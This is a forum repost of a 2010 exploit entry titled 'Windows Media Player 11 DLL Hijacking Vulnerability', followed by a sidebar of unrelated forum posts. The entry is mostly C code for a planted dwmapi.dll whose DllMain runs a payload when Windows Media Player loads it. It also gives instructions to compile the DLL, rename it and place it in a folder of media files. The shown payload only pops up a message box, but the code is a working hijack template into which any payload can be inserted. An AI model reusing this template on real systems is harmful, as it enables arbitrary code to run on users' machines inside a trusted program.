• Windows Media Player 11 DLL Hijacking Vulnerability

    http://inj3ct0r.com/exploits/13972

    ================================================== =
    Windows Media Player 11 DLL Hijacking Vulnerability
    ================================================== =


    /*Windows Media Player 11 DLL Hijacking Vulnerability

    ~Legion Of Xtremers and Hackers Garage~

    Author: Prashant Uniyal

    Special greets to:"vinnu" and Secfence Team

    Greets to: b0nd,fb1h2s,AnArKi,d4rk357,d4rky

    Version: Windows Media Player 11.0.5721.5145

    Tested on: Windows XP SP2 En

    Complile and rename to dwmapi.dll. Place it in the dir
    and execute wmp and media files.
    */


    #include <windows.h>

    BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    dll_hijack();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }

    return TRUE;
    }

    int dll_hijack()
    {
    MessageBox(0, "DLL Hijacked!",MB_OK);
    }


    # Inj3ct0r.com [2010-09-05]
    This article was originally published in forum thread: Windows Media Player 11 DLL Hijacking Vulnerability started by prashant_uniyal View original post
  • G4H Twitter

  • Latest Posts

    amolnaik4

    Research Resources for MS SharePoint

    This page contains research notes on Microsoft’s SharePoint MOSS and WSS.

    Link:
    https://www.owasp.org/index.php/Research_for_SharePoint_%28MOSS%29

    amolnaik4 Today, 12:25 PM Go to last post
    b0nd

    Lolz, with the title "About Admin" I thought...

    Lolz, with the title "About Admin" I thought Admins of garage have been exposed ;)

    @hazard74, there is always a proper "way" to ask - you need to discover that. It's not that Pentesters don't have...

    b0nd Today, 09:10 AM Go to last post
    hazard74

    Ok, Anant Shrivastava. Im Sorry :)

    Ok, Anant Shrivastava.

    Im Sorry :)

    hazard74 Yesterday, 06:19 PM Go to last post
    Anant Shrivastava

    not exactly this format but a simmilar kind of a...

    not exactly this format but a simmilar kind of a format i have seen as part of malware. This url format was used to get the commands from the remote server. there was a whole bunch of domain names in...

    Anant Shrivastava Yesterday, 05:30 PM Go to last post
    Immaturedevil

    Hi Neo, Thanks for your comment. I have...

    Hi Neo,

    Thanks for your comment. I have already done that... but no success..as these URLs are not recognized by search engines as such. getting some info if anyone has come across with URLs in...

    Immaturedevil Yesterday, 05:21 PM Go to last post